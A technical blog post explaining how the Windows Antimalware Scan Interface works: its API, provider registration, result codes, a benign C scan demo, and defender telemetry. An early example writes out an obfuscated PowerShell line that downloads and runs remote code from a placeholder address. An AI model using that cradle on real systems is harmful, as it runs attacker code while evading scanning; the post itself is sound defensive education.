Featured image of post AMSI Internals: how the Antimalware Scan Interface works

AMSI Internals: how the Antimalware Scan Interface works

A deep dive into the Windows Antimalware Scan Interface (AMSI): its architecture, the amsi.dll API, how scan providers plug in, and why that design is the thing you end up abusing in part 2.

A PowerShell one-liner can assemble its payload from string fragments, decode it in memory, and execute it directly. No file ever touches disk, so file-based antivirus has nothing to scan. AMSI closes that gap, and it does it without scanning anything itself: amsi.dll is a router, nothing more. It forwards content to whatever engine is registered on the machine, and that engine decides.

This is part 1 of two: how AMSI actually works. Part 2 is evasion, which only makes sense once you know what you’re evading.

The gap it was built to close

Signature engines work on objects: a PE, a document, an archive. They open the file, map it, match patterns. That model holds only as long as the malicious code exists as a file the engine can read.

Scripting hosts break that assumption easily:

# Three layers of indirection, nothing suspicious on disk.
$a = 'IEX (New-Object Net.WebClient).DownloadStr' + 'ing("http://1.2.3.4/x")'
Invoke-Expression $a

A file-based scanner looking at this sees Invoke-Expression, a token thousands of legitimate admin scripts use. The payload itself arrives over the network, gets built in a variable, and is compiled from a string. Nothing on disk is worth flagging.

Emulating this is doable in principle: unwrap base64, string concatenation, the common tricks. In practice every language has a dozen ways to build a string, and an engine would have to model all of them, for every host, forever. That doesn’t scale.

AMSI’s actual move: obfuscation has to end somewhere. Whatever wrapping the attacker used, the interpreter eventually needs real, runnable code, and at that point the content is plaintext. So instead of teaching every engine to emulate every script host, the host hands its already-deobfuscated content to the engine at that exact moment, one interface, called at the one point where hiding is no longer possible.

Worth remembering: AMSI inspects the content the interpreter is about to run, not the command line that launched the process, not the argument you typed. Different telemetry sources.

Disabling AMSI and disappearing from telemetry are two different things. We come back to this at the end.

Three actors, kept apart

Most of the confusion around the AMSI API goes away once you stop treating it as one block and separate the three parties involved.

AMSI architecture: the host hands plaintext content to amsi.dll, which routes it to the registered provider and returns a verdict
The three AMSI actors: the host owns the content, amsi.dll routes it, and the registered provider returns the verdict.

The host application owns the content just before it executes, and it makes the calls. PowerShell, wscript.exe / cscript.exe, Office, the CLR. A host that does not integrate produces no scan, since AMSI never reaches into a process that did not opt in. People often forget this part. AMSI does not run on its own, so something has to call it.

amsi.dll is the thin, vendor-neutral shim in the middle. It exposes the C API to the host and knows how to locate and talk to whichever engine is registered on the machine. It routes requests, while the verdict comes from the engine.

The provider is the actual engine, whether Defender or your EDR. It is a COM object implementing IAntimalwareProvider (derived from IUnknown), and three methods matter:

// From amsi.h. The provider receives the content as an IAmsiStream and
// fills in an AMSI_RESULT. DisplayName() is the engine name that gets
// surfaced back - handy when you're triaging a host and want to know
// who actually answered the scan.
interface IAntimalwareProvider : IUnknown {
    HRESULT Scan(IAmsiStream *stream, AMSI_RESULT *result);
    void    CloseSession(ULONGLONG session);
    HRESULT DisplayName(LPWSTR *displayName);
};

Two details matter later on. First, the provider loads as a DLL inside the host process. From the host’s point of view, there is no RPC hop to a separate service. This is exactly why in-process tampering is possible at all: the component that decides your fate lives in your own address space. Second, the verdict only matters if the host acts on it. AmsiResultIsMalware is a check the host runs on the returned value, and the decision to stop execution stays with the host.

Starting with Windows 10 1903, Windows can require providers to be Authenticode-signed. The check is off by default. It is enabled by setting the DWORD FeatureBits under HKLM\SOFTWARE\Microsoft\AMSI to 0x2, and 0x1 or a missing value leaves it off. The reason follows from the in-process design: once providers are DLLs loaded into your own process, requiring a signature is what keeps an arbitrary DLL from registering itself as an engine. Microsoft also notes that this registry value is not protected by the OS, and that an antivirus may write-protect it.

The provider is registered under HKLM\SOFTWARE\Microsoft\AMSI\Providers\, keyed by CLSID. The CLSID is then resolved under HKLM\SOFTWARE\Classes\CLSID\<clsid>\InprocServer32, whose default value is the DLL path. That InprocServer32 key is the proof of the in-process claim above: COM uses it for servers loaded into the caller’s own process, as opposed to LocalServer32 for a separate .exe. You can walk both keys from PowerShell:

Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" | ForEach-Object {
    [PSCustomObject]@{
        CLSID = $_.PSChildName
        Path  = (Get-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$($_.PSChildName)\InprocServer32" -Name "(default)").'(default)'
    }
}

PowerShell output: the AMSI provider CLSID resolving through InprocServer32 to Defender’s MpOav.dll
Walking the registry from each provider CLSID to its backing DLL through the InprocServer32 key.

Defender’s entry is {2781761E-28E0-4109-99FE-B9D127C57AFE}, which resolves to MpOav.dll in the Defender platform folder. To find out which engine answers on a host, check that key and DisplayName(). Those are the two reliable sources.

The call chain, one call at a time

With the three actors in place, we can watch them interact. Every integrated host runs some version of the sequence below. The functions it calls are the ones amsi.dll exports, which you can list on any machine with

dumpbin /exports C:\Windows\System32\amsi.dll

Dumpbin output on C:\Windows\System32\amsi.dll:

dumpbin /exports output for amsi.dll: the 14 exported functions, including the Amsi* API, the AmsiUac* trio and the Dll* COM entry points
amsi.dll's 14 exports, grouped into the Amsi* host API, the AmsiUac* elevation path, and the Dll* COM entry points.

The Amsi* functions are the host-facing API, walked through below. The AmsiUac* trio is the UAC elevation path (consent.exe scanning an elevation request), and the four Dll* exports are the standard COM in-proc server entry points, consistent with the InprocServer32 registration seen earlier.

// 1. Bind the host to the registered engine. One context per host.
HRESULT AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext);
//    appName identifies the caller to the provider - this is the
//    "who is asking" the engine sees.

// 2. Optional. A session lets the engine correlate several scans.
HRESULT AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION *amsiSession);
//    Without it, fragments of one payload look harmless in isolation.
//    With it, the engine ties them into a single, better-informed verdict.

// 3. The actual question.
HRESULT AmsiScanBuffer(HAMSICONTEXT c, PVOID buffer, ULONG length,
                       LPCWSTR contentName, HAMSISESSION s /* optional */,
                       AMSI_RESULT *result);
HRESULT AmsiScanString(HAMSICONTEXT c, LPCWSTR string, LPCWSTR contentName,
                       HAMSISESSION s /* optional */, AMSI_RESULT *result);
//    contentName is just metadata for the verdict (a filename, URL or
//    script ID) - not a path to open. The bytes are already in 'buffer'.

// 4. AmsiCloseSession when the session is done.
// 5. AmsiUninitialize when the host is done with the API entirely.

AmsiScanBuffer produces two separate outputs: an HRESULT that says whether the call ran, and an AMSI_RESULT verdict on a risk scale that says whether the content is malicious
AmsiScanBuffer’s two outputs: the HRESULT says whether the call ran, the AMSI_RESULT carries the actual verdict.

Look at the two outputs of AmsiScanBuffer. It returns an HRESULT and it fills the AMSI_RESULT *result parameter, and those answer two different questions.

The HRESULT is the standard COM status code: “did the call itself succeed?”. S_OK means the scan ran, a failure code like E_INVALIDARG means it could not run at all. It says nothing about the content.

The verdict is the AMSI_RESULT written into that result out-parameter: “was the content malicious?”.

It is a number, an enum value on a risk scale that the next block lays out. This is the value that actually matters. Microsoft recommends reading it through the AmsiResultIsMalware macro, which takes the AMSI_RESULT and returns whether it clears the malware threshold, rather than comparing that number by hand.

Conflating the two is an easy and consequential mistake: a S_OK return proves only that a scan happened, not that the content is clean.

Why the AmsiResultIsMalware macro? Because the enum is not a set of independent flags. It is an ordered risk scale:

AMSI_RESULT as one continuous axis: clean at 0, an advisory risk score across 1-32767 with an admin-policy block band carved out at 16384-20479, and malware open-ended at 32768 and above
AMSI_RESULT is one continuous axis: an advisory risk score carved by the admin-block band, with a single malware threshold at 32768 that AmsiResultIsMalware tests.

typedef enum AMSI_RESULT {
    // known good; verdict unlikely to change on a future def update
    AMSI_RESULT_CLEAN = 0,

    // nothing found now, but could change after a future def update
    AMSI_RESULT_NOT_DETECTED = 1,
    
    // admin-policy block, start of range (0x4000)
    AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,

    // admin-policy block, end of range (0x4FFF)
    AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,

    // malware, should be blocked (0x8000)
    AMSI_RESULT_DETECTED = 32768
};

// Per the docs: a provider may return any value from 1 to 32767 as an
// estimated risk level, higher = riskier (these are provider-specific and
// can encode a malware family or ID). The 16384-20479 band is an admin
// policy block, and anything >= 32768 is malware. In both cases the
// content is blocked and never executed.

The exact wording and ranges are in Microsoft’s reference for the AMSI_RESULT enumeration. Its Syntax block lists the constants without numeric values, so the numbers above come from the Remarks: CLEAN and NOT_DETECTED are 0 and 1 by position, then the 16384–20479 admin band and the 32768 malware threshold (shown here in hex as 0x4000, 0x4FFF, 0x8000).

Two of those bands stop execution, for different reasons. >= 32768 is a threat verdict: the engine considers the content malware. The 16384-20479 band is an admin policy block: per the docs, the content is blocked by an administrator-specified policy. That is a governance decision, not a malware classification, and the two sit on separate branches. AmsiResultIsMalware only reports the first, so an admin block stops the script but the macro returns zero for it.

So a return of S_OK proves nothing by itself. Whether the content is malware is decided separately, by the 32768 threshold that AmsiResultIsMalware tests. The status of the call and the verdict it carries are two different things, and keeping them apart is the whole point of reading the result correctly.

Who actually calls it

Every host follows the same principle: plaintext goes to the engine at the moment of execution. The content differs, though.

Host What reaches Scan Note
PowerShell scripts, interactive input, dynamic eval (Invoke-Expression, scriptblocks) The main consumer. Input typed at the prompt counts, with no file involved
WSH (wscript / cscript) the script body before execution .js / .vbs scanned right before they run
JScript / VBScript runnable script content Plaintext at execution time, like everything else
Office VBA macro VBA source at runtime The interesting case: a document that static AV cannot read still gets caught once the macro runs
.NET Framework 4.8+ dynamic methods, Assembly.Load(byte[]) Code assembled in memory, for compiled-style code
UAC elevation of EXE, COM, MSI, or ActiveX installation Listed among the integrated Windows 10 components
WMI operations surfaced to the engine Listed as supported in the Defender docs, but absent from Microsoft’s AMSI component list
Volume Shadow Copy shadow copy operations Named by a third-party write-up, not in Microsoft’s component list

Two limits follow from this. Hosts decide when to call AMSI: the Windows scripting hosts may only call it when they see a potentially dangerous object being created. Browsers never call AMSI for JavaScript running inside a page, because of sandboxing and performance cost (Textslashplain). Anything a host never sends is invisible to AMSI, so the model depends on cooperation, not on a kernel-level control.

Seeing it happen

Theory is cheap, so let’s make a host hand over the plaintext and watch the engine refuse it. That single observation forms the mental model the next article depends on.

Replaying what the host does, in C

This is roughly what PowerShell’s engine does with the scriptblock you type, reduced to the three calls that matter. For the content, it uses Microsoft’s AMSI test sample: a harmless marker string that every compliant engine is built to flag, the AMSI equivalent of the EICAR file. It keeps the result deterministic, so the code feeds it to the scanner and prints the verdict:

#include <windows.h>
#include <amsi.h>
#include <stdio.h>

int main(void) {
    HAMSICONTEXT ctx; HAMSISESSION sess = NULL; AMSI_RESULT res = AMSI_RESULT_CLEAN;

    if (FAILED(AmsiInitialize(L"LAB-01-host", &ctx))) return puts("init failed"), 1;
    AmsiOpenSession(ctx, &sess);   // optional, lets the engine correlate fragments

    // Microsoft's AMSI test sample: a benign marker every compliant engine
    // must flag. Using it keeps the result deterministic.
    LPCWSTR payload = L"AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386";
    HRESULT hr = AmsiScanString(ctx, payload, L"unknown-script", sess, &res);
    if (SUCCEEDED(hr)) {
        wprintf(L"verdict: %u  -> block? %s\n",
                (unsigned)res,
                AmsiResultIsMalware(res) ? L"YES" : L"no");
    } else {
        // With no live engine, the scan can't run at all - it fails rather
        // than returning a clean verdict.
        wprintf(L"AmsiScanString failed: 0x%08lx (no provider answered?)\n",
                (unsigned long)hr);
    }

    AmsiCloseSession(ctx, sess);
    AmsiUninitialize(ctx);
    return 0;
}

Build it from a Developer Command Prompt, where the Windows SDK puts amsi.h and amsi.lib on the include and library paths:

cl /W4 /nologo /Fe:amsi_poc.exe amsi_poc.c amsi.lib

Run it with Defender active, Get-MpPreference shows real-time protection and script scanning both on, so DisableRealtimeMonitoring and DisableScriptScanning are False, and the engine flags the test sample: verdict: 32768 -> block? YES.

The amsi_poc.c source next to a PowerShell window where Get-MpPreference reports DisableRealtimeMonitoring and DisableScriptScanning both False, and the compiled PoC prints verdict 32768 block YES
With real-time protection on (both preferences False), the PoC hands the test sample to Defender’s provider and gets 32768 - a block.

Now turn real-time protection off and run the same binary again. The verdict does not flip to clean, the scan fails outright:

The same PoC, but Get-MpPreference now reports DisableRealtimeMonitoring True, and the binary prints AmsiScanString failed 0x80070015
With real-time protection off (DisableRealtimeMonitoring True), there is no live engine to answer, so AmsiScanString fails with 0x80070015 instead of returning a verdict.

0x80070015 is HRESULT_FROM_WIN32(ERROR_NOT_READY) - “the device is not ready”. amsi.dll is only a router, with no detection of its own: the verdict comes from a registered provider, and on a stock machine that provider is Defender. Switch its engine off and there is nobody to service the call, so it errors instead of returning a result.

That is worth sitting with: turning the engine off does not produce a quiet “clean” verdict a careless host might wave through. The scan simply does not happen, and a host that ignores the failed HRESULT is the one that gets fooled.

Flagging a string from PowerShell

The C PoC gave us the view a host normally hides. Calling amsi.dll directly, we read the raw outputs: the exact AMSI_RESULT number and the HRESULT. A real host keeps those to itself. It consumes the verdict and acts on it, so from the outside all you ever see is the reaction. PowerShell is the clearest host to watch, because it runs every scriptblock through AMSI before executing it. Paste the same test sample at the prompt:

# Same AMSI test sample, this time typed straight into the interpreter.
'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'

No number appears this time. PowerShell handed the line to the engine, got a malware verdict back, and refused to run it. The error even names the reason, ScriptContainedMaliciousContent:

With protection on, pasting the AMSI test sample into PowerShell is refused with the red error ‘This script contains malicious content and has been blocked by your antivirus software’ and FullyQualifiedErrorId ScriptContainedMaliciousContent
The host never runs the line: PowerShell’s AMSI integration blocks the test sample with ScriptContainedMaliciousContent.

One property underneath this matters more than the block itself. The scan happens at the moment of execution, on the content the host is about to run, after the host has undone whatever wrapping it arrived in. Base64, string concatenation, compression: by the time the engine sees the buffer, it is the final plaintext. This is the “obfuscation has to end somewhere” idea from the start of the article, now visible. The host deobfuscates, then asks, and the engine answers on exactly what will execute, not on the encoded form that crossed the disk or the network.

Two views, one gate. The C PoC showed the raw verdict, PowerShell showed a host acting on it, and both describe the same mechanism: the host hands the engine the final plaintext, and a single number decides whether the content runs.

What’s next

This article stayed on how AMSI works: the three actors, the two outputs of a scan, the risk scale the verdict lives on, and the fact that the engine only ever sees the final plaintext the host is about to run. That is the ground part 2 builds on. Part 2 turns to evasion, and every technique it covers is a consequence of something established here, so the mechanism is worth having clear before reading on.

Appendix: where defenders look

The verdict we have been reading is private to the host and its provider. A defender outside that exchange needs other ways to see what AMSI saw, and two of them are worth understanding because they come straight from the mechanism described above.

The AMSI ETW provider. Event Tracing for Windows (ETW) is Windows’ built-in, high-rate event pipeline: components publish structured events to named providers, and tools subscribe to the providers they care about. AMSI publishes to its own provider, Microsoft-Antimalware-Scan-Interface (GUID {2a576b87-09a7-520e-c21a-4942f0271d67}), and emits an event around each scan carrying the context of the call: the application name passed to AmsiInitialize, the content name, the size of the buffer, and the result. This is a different kind of data from the provider’s verdict. The provider decides whether to block; ETW just announces that a scan took place and describes it. A defender who subscribes to this provider therefore sees every scan the host requested, including the ones that came back clean, which never surface as an antivirus alert. Velociraptor ships a ready collection artifact, Windows.ETW.AMSI (reference), as a starting point.

The provider registry key. HKLM\SOFTWARE\Microsoft\AMSI\Providers is the authoritative list of which engines are plugged into AMSI, one subkey per provider CLSID, each resolving to a DLL through InprocServer32 exactly as we walked earlier. It is where a defender reads the machine’s AMSI inventory: which providers will answer a scan, and whether that set is what it should be. Because the key is the single source of truth for that inventory, watching it for changes is a documented detection (MITRE ATT&CK T1562.001, with a Sigma rule for a removed entry): a provider that disappears from this key is an engine that stopped being consulted.

On the prevention side, WDAC or AppLocker can lock PowerShell into Constrained Language Mode, which mitigates PowerShell-based reflective DLL injection (Defender docs). Attack surface reduction rules cover Office child processes and obfuscated scripts, and disabling VBA and XLM macros where they are not needed removes two hosts entirely (Zscaler). Do not disable PowerShell itself. Microsoft advises against it as a way to block fileless malware.

Appendix: when all of this landed

Component When Source of truth
AMSI ships in the OS Windows 10 (announced June 2015), Server 2016 The Register - AMSI announced Jun 2015
PowerShell, WSH, JScript/VBScript With AMSI itself MS Learn - AMSI portal (integrated hosts)
Office VBA macros Announced Sept 2018, on by default in the Office 365 Monthly Channel MS Security blog
.NET Framework 4.8 With 4.8 on Windows 10 MS Learn - What’s new in .NET Framework
Excel 4.0 (XLM) macros March 2021 MS Security blog - XLM + AMSI

Resources

Found a mistake, or a date I got wrong? Tell me and I’ll fix it. Part 2 is next.